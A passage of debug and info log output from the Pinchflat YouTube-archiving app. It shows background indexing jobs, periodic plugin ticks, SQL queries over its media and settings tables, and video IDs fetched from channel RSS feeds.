AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 23:44:49.401 [debug] QUERY OK source="tasks" db=0.0ms idle=668.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [463, 3, ~U[2026-07-23 23:44:49Z], ~U[2026-07-23 23:44:49Z]] 23:44:49.401 [info] {"args":{"id":3},"id":460,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":669118,"event":"job:stop","queue_time":521573,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:44:54.928 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.714 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:45:24.929 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:54.930 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.715 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:46:24.931 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:54.932 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.716 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:47:24.933 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:54.933 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.717 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:48:24.935 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:54.936 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.718 [info] {"source":"oban","duration":286,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:49:24.937 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:54.938 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.719 [info] {"source":"oban","duration":376,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:50:24.940 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:37.121 [info] {"args":{"id":1},"id":461,"meta":{},"system_time":1784850637121328329,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:50:37.121 [debug] QUERY OK source="sources" db=0.0ms idle=1120.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:50:37.121 [debug] QUERY OK source="settings" db=0.0ms idle=1120.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:50:37.122 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:50:37.122 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:50:37.122 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 23:50:37.742 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 23:50:37.742 [debug] QUERY OK source="media_items" db=0.2ms idle=621.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 23:50:37.745 [debug] QUERY OK source="media_items" db=2.1ms idle=621.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:50:37.746 [debug] QUERY OK source="tasks" db=0.0ms idle=623.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [464, 1, ~U[2026-07-23 23:50:37Z], ~U[2026-07-23 23:50:37Z]] 23:50:37.746 [info] {"args":{"id":1},"id":461,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":624761,"event":"job:stop","queue_time":291024,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:50:38.123 [info] {"args":{"id":2},"id":462,"meta":{},"system_time":1784850638123146351,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:50:38.123 [debug] QUERY OK source="sources" db=0.0ms idle=377.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:50:38.123 [debug] QUERY OK source="settings" db=0.0ms idle=377.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:50:38.123 [debug] QUERY OK source="media_profiles" db=0.0ms idle=371.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:50:38.123 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:50:38.123 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 23:50:38.285 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 23:50:38.286 [debug] QUERY OK source="media_items" db=0.7ms idle=162.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 23:50:38.287 [debug] QUERY OK source="media_items" db=0.3ms idle=163.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 23:50:38.288 [debug] QUERY OK source="tasks" db=0.0ms idle=164.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [465, 2, ~U[2026-07-23 23:50:38Z], ~U[2026-07-23 23:50:38Z]] 23:50:38.288 [info] {"args":{"id":2},"id":462,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":164906,"event":"job:stop","queue_time":497620,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:50:54.941 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.720 [info] {"source":"oban","duration":381,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:51:24.943 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:54.945 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.721 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:52:24.946 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:54.947 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.721 [info] {"source":"oban","duration":119,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:53:24.948 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:54.949 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.723 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:54:24.950 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:50.393 [info] {"args":{"id":3},"id":463,"meta":{},"system_time":1784850890393159496,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:54:50.393 [debug] QUERY OK source="sources" db=0.0ms idle=392.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:54:50.393 [debug] QUERY OK source="settings" db=0.1ms idle=392.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:54:50.393 [debug] QUERY OK source="media_profiles" db=0.1ms idle=393.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:54:50.394 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:54:50.394 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 23:54:50.518 [debug] Media ids fetched from RSS: ["QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY", "BEPrk2Ua1zA"] 23:54:50.518 [debug] QUERY OK source="media_items" db=0.2ms idle=125.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY", "BEPrk2Ua1zA"] 23:54:50.520 [debug] QUERY OK source="media_items" db=1.6ms idle=125.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 23:54:50.521 [debug] QUERY OK source="tasks" db=0.0ms idle=127.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [466, 3, ~U[2026-07-23 23:54:50Z], ~U[2026-07-23 23:54:50Z]] 23:54:50.521 [info] {"args":{"id":3},"id":463,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128198,"event":"job:stop","queue_time":991877,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:54:54.951 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.724 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:55:24.952 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:54.953 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.725 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:56:24.954 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:54.955 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.726 [info] {"source":"oban","duration":147,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:57:24.956 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:54.957 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.727 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:58:24.958 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:54.959 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.727 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:59:24.960 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:54.961 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.729 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:00:24.963 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:37.802 [info] {"args":{"id":1},"id":464,"meta":{},"system_time":1784851237802201427,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:00:37.802 [debug] QUERY OK source="sources" db=0.0ms idle=1801.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:00:37.802 [debug] QUERY OK source="settings" db=0.0ms idle=1801.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:00:37.802 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:00:37.802 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:00:37.802 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 00:00:38.163 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 00:00:38.163 [debug] QUERY OK source="media_items" db=0.4ms idle=361.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", 